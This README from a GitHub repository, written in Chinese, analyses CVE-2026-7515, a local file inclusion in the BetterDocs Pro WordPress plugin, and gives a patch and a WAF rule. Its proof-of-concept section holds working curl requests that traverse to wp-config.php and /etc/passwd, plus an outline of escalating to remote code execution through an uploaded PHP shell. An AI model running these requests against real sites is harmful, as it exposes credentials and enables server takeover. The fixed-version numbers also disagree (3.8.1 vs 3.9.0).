Polosss/By-Poloss..-..CVE-2026-7515-PoC

GitHub: Polosss/By-Poloss..-..CVE-2026-7515-PoC

该项目是 WordPress BetterDocs Pro 插件 CVE-2026-7515 未认证本地文件包含漏洞的概念验证与分析报告。

Stars: 0 | Forks: 0

# CVE-2026-7515: BetterDocs Pro <= 3.8.0 - 未认证的本地文件包含 ## 概述 | 字段 | 值 | |-------|-------| | **CVE ID** | CVE-2026-7515 | | **CVSS Score** | 9.8 (严重) | | **CVSS Vector** | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | **受影响版本** | BetterDocs Pro <= 3.8.0 | | **已修复版本** | 3.8.1 | | **研究员** | Nguyen Ngoc Duc (duc193) | | **发布日期** | 2026年6月18日 | | **CWE** | CWE-98: 对 Include/Require 语句的文件名控制不当 | ## 漏洞描述 WordPress 的 BetterDocs Pro 插件在 3.8.0 及之前版本中,通过 `doc_style` 参数存在**本地文件包含**漏洞。这使得未认证的攻击者能够在服务器上包含并执行任意的 PHP 文件。 ## 污点分析:Source → Sink ### Source (用户输入) **文件:** `wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php` **行号:** 141 ``` // VULNERABLE CODE (v3.8.0) $doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid'; ``` **问题:** 来自 `$_POST['doc_style']` 的用户可控输入被直接使用,没有任何验证。 ### Sink (危险函数) **文件:** `wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php` **行号:** 195 ``` betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [ 'doc' => $doc, 'excerpt' => $excerpt, 'dictionary_learn_more_text' => $learn_more_text, 'item_heading_tag' => $item_heading_tag, ]); ``` **问题:** `$doc_style` 变量(用户可控)被直接插入到传递给 `views->get()` 的文件路径中,该函数会包含此文件。 ### 数据流 ``` HTTP POST Request ↓ $_POST['doc_style'] = "../../../../../../wp-config" ↓ NO VALIDATION (vulnerable version 3.8.0) ↓ betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...]) ↓ File Inclusion via include() or require() ↓ Arbitrary PHP Code Execution / File Read ``` ## Diff: 漏洞版本与修复版本对比 ### 漏洞版本 3.8.0 ``` // Line 141 in includes/Core/Encyclopedia.php $doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid'; ``` ### 修复版本 3.8.1 ``` // Line 145-148 in includes/Core/Encyclopedia.php $allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2']; $doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true) ? $_POST['doc_style'] : 'doc-grid'; ``` ### 主要差异 | 方面 | 漏洞版本 (3.8.0) | 修复版本 (3.8.1) | |--------|-------------------|------------------| | 验证 | 无 | 使用 `in_array()` 的白名单机制 | | 允许的值 | 任意字符串 | 仅限 `doc-grid`, `doc-list`, `doc-list-2` | | 类型检查 | 否 | 严格 (`===`) 比较 | ## 受影响的 AJAX Endpoint 两个 endpoint 都注册了 `nopriv` 钩子,这意味着未认证的用户也可以访问它们: ``` // Line 17-18 add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']); add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']); // Line 20-21 add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']); add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']); ``` ### Endpoint: 1. `POST /wp-admin/admin-ajax.php?action=load_more_docs_section` 2. `POST /wp-admin/admin-ajax.php?action=load_more_docs` ## 概念验证 ### 前置条件 - 有效的 `encyclopedia_nonce`(可在包含 BetterDocs Encyclopedia block 的页面源码中找到) ### 手动利用 ``` # 步骤 1:读取 wp-config.php curl -X POST "https://target.com/wp-admin/admin-ajax.php" \ -d "action=load_more_docs_section" \ -d "_nonce=VALID_ENCRYPTION_NONCE" \ -d "doc_style=../../../../../../wp-config" \ -d "page=1" # 步骤 2:读取 /etc/passwd curl -X POST "https://target.com/wp-admin/admin-ajax.php" \ -d "action=load_more_docs" \ -d "_nonce=VALID_ENCRYPTION_NONCE" \ -d "doc_style=../../../../../../etc/passwd" \ -d "page=0" ``` ### 查找 Nonce `encyclopedia_nonce` 会在渲染了 BetterDocs Encyclopedia block 的页面上的 JavaScript 中暴露出来: ``` // In betterdocs-encyclopedia.js betterdocsEncyclopedia = { 'site_url': '...', 'ajax_url': '...', '_nonce': 'VALID_NONCE_HERE' // <-- This is what you need }; ``` ### 从 LFI 到 RCE 的路径 1. **读取 wp-config.php** - 提取数据库凭据 2. **上传 PHP shell** - 通过 WordPress 媒体上传或主题编辑器 3. **包含恶意文件** - 利用 LFI 漏洞 4. **执行代码** - 实现远程代码执行 (RCE) ## 影响 | 影响类型 | 严重性 | 描述 | |-------------|----------|-------------| | **机密性** | 高 | 读取任意文件 (wp-config.php, /etc/passwd 等) | | **完整性** | 高 | 修改或删除文件 | | **可用性** | 高 | 拒绝服务 | | **访问途径** | 网络 | 可被远程利用 | | **权限要求** | 无 | 不需要认证 | | **用户交互** | 无 | 不需要 | ## 修复方案 ### 主要修复 **更新至 BetterDocs Pro 3.8.1 或更高版本** ### 手动修复(如果无法更新) 对 `includes/Core/Encyclopedia.php` 应用以下补丁: ``` // Replace line 141 with: $allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2']; $doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true) ? $_POST['doc_style'] : 'doc-grid'; ``` 对第 236 行应用相同的修复。 ### WAF 规则(临时缓解) 添加规则以阻断 `doc_style` 参数中的路径遍历: ``` # 使用 path traversal 模式拦截 doc_style SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \ "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'" ``` ## 参考 - [Wordfence Intelligence](https://www.wordfence.com/vulnerability-advisories/) - [BetterDocs Official](https://betterdocs.co) - [CVE Details](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-7515) - [WPVDB](https://wpvulndb.com/vulnerabilities/) ## 分析的文件 ``` Vulnerable Version: betterdocs-pro_3.8.0.zip Patched Version: betterdocs-pro_3.9.0.zip Key Files: - includes/Core/Encyclopedia.php (VULNERABLE) - includes/Core/Scripts.php (Contains nonce generation) - includes/Utils/Views.php (File inclusion logic) ```
标签:OpenVAS, PHP, WordPress插件, 安全漏洞, 文件完整性监控, 本地文件包含, 漏洞分析, 路径探测